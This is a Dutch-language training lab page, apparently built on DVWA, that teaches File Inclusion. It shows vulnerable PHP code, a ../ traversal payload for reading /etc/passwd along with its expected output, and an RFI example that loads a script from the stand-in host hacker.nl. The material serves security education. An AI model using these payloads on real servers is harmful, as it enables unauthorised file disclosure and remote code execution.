Ga naar hoofdinhoud

File Inclusion — Low

Met File Inclusion kun je bestanden van de webserver opvragen (LFI) of zelfs scripts vanaf een externe server inladen (RFI).

1. Predict (Voorspel)

De webapplicatie heeft de volgende PHP code om verschillende pagina's weer te geven:

$file = $_GET['page'];
include($file);

Vraag: Wat gebeurt er als de gebruiker in de URL-balk de parameter ?page=../../../../../../etc/passwd invult?

Antwoord

De functie include() laadt letterlijk de inhoud van het opgegeven bestand en toont het op het scherm. Door ../ te gebruiken (wat 'één map omhoog' betekent in Linux) navigeer je stapsgewijs helemaal naar de root van de harde schijf van de webserver. Daarna ga je de map /etc/ in en open je het bestand passwd. De server spuugt daardoor per ongeluk de complete lijst met alle geregistreerde Linux-gebruikers uit! Dit noemen we Local File Inclusion (LFI).

2. Run & Investigate

Start de lab-omgeving.

Laden...

Je zult zien dat de parameter in de URL momenteel waarschijnlijk op ?page=include.php staat.

3. Modify & Make (Aanpassen & Maken)

Bouw een LFI aanval. Het is jouw doel om de Linux wachtwoorden/gebruikerslijst (/etc/passwd) op je eigen scherm weer te geven.

Tip

Vervang de naam van het originele bestand in de URL door een lange reeks van ../ commando's.

Antwoord

Vul als waarde in voor de page parameter: ../../../../../../../../etc/passwd Je zult zien dat de opmaak van de pagina plotseling vol staat met systeemtekst, beginnend met root:x:0:0:...

4. ✓ Wat moest je zien?

Controle
  • De pagina toont systeemtekst beginnend met root:x:0:0:root:/root:/bin/bash en daaronder een hele lijst Linux-gebruikers.
  • De normale layout van de DVWA-pagina is verstoord: er staat ineens een blok ruwe tekst tussen de menu's in.
  • In de URL zie je je ../../../-keten staan — dat is letterlijk de directory traversal.

Krijg je een witte pagina of "File not found"? Voeg dan een paar ../ extra toe aan je payload — afhankelijk van waar het include-script staat heb je 5, 7 of 9 niveaus omhoog nodig.

5. Er gaat iets mis...

Wat als je in plaats van een lokaal bestand, een URL van een andere website probeert in te vullen? Bijvoorbeeld: ?page=http://hacker.nl/kwaadaardig_script.php. Als dit lukt, noemen we het Remote File Inclusion (RFI). De server downloadt jouw script en voert het direct uit alsof het zijn eigen code is! Als dit niet lukt, komt dat doordat de beheerder in de php.ini configuratie de instelling allow_url_include op Off heeft gezet. Dat is tegenwoordig gelukkig de standaard. LFI werkt echter nagenoeg altijd als er geen input-validatie is!